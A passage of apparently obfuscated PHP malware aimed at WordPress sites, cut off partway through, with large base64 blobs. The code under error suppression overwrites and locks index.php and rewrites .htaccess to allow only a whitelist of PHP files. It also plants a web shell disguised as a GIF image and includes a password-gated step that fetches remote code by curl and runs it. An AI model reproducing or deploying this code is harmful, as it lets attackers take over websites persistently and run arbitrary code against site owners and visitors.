uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgiLz4NCjwvaGVhZD4nOw0KPz4NCg0KICAgIDxjZW50ZXI+DQogICAgICAgIDxzdHlsZT4NCiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30NCiAgICAgICAgICAgIHRhYmxlLHRoLHRke2JvcmRlci1jb2xsYXBzZTpjb2xsYXBzZTtiYWNrZ3JvdW5kOnRyYW5zcGFyZW50O2ZvbnQtc2l6ZToxM3B4O30NCiAgICAgICAgICAgIGlucHV0LHRleHRhcmVhe30NCiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30NCiAgICAgICAgICAgIHRoe3BhZGRpbmc6MTBweDt9DQogICAgICAgICAgICAudGRfaG9tZXtwYWRkaW5nOjdweDt9DQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30NCiAgICAgICAgICAgIHRleHRhcmVhe3dpZHRoOjEwMCU7aGVpZ2h0OjQwMHB4O30NCiAgICAgICAgICAgICNjb250ZW50IHRyOmhvdmVye2JhY2tncm91bmQtY29sb3I6I2NlY2VjZTt0ZXh0LXNoYWRvdzowcHggMHB4IDEwcHggI2ZmZjtjb2xvcjojZmZmO30NCiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQ0KICAgICAgICAgICAgLmRoIGE6aG92ZXJ7IGNvbG9yOiAjZjAwO30NCiAgICAgICAgPC9zdHlsZT4NCjw/cGhwDQplY2hvICc8L2hlYWQ+DQo8Ym9keT48Yj4NCjxIMT48Y2VudGVyPjxmb250IGNvbG9yPSJyZWQiPicuJFZlcnNpb24uJzwvZm9udD48L2NlbnRlcj48L2gxPg0KPHRhYmxlIHdpZHRoPSI3MDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4NCg0KPHRyPjx0ZD4NCg0KPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOw0KaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpew0KICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsNCn1lbHNlew0KICAgICRwYXRoID0gZ2V0Y3dkKCk7DQp9DQokcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsNCiRwYXRocyA9IGV